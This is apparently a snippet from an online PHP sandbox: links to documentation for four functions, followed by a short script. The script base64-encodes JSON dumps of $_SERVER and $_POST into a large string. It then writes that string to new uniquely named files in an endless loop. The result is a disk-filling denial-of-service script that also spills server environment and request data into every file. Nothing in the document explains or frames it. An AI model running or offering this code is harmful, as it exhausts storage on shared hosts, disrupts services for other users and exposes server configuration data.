- uniqid: documentation ( source)
- base64_encode: documentation ( source)
- json_encode: documentation ( source)
- file_put_contents: documentation ( source)
<?php
$str ="user";
$str .= base64_encode(json_encode($_SERVER));
$str .= base64_encode(json_encode($_POST));
$str .= base64_encode(json_encode($_SERVER));
$str .= base64_encode(json_encode($_SERVER));
$str .= base64_encode(json_encode($_SERVER));
$str .= base64_encode(json_encode($_SERVER));
$str .= base64_encode(json_encode($_SERVER));
$str .= base64_encode(json_encode($_SERVER));
while(1) { file_put_contents(uniqid(),$str);}?>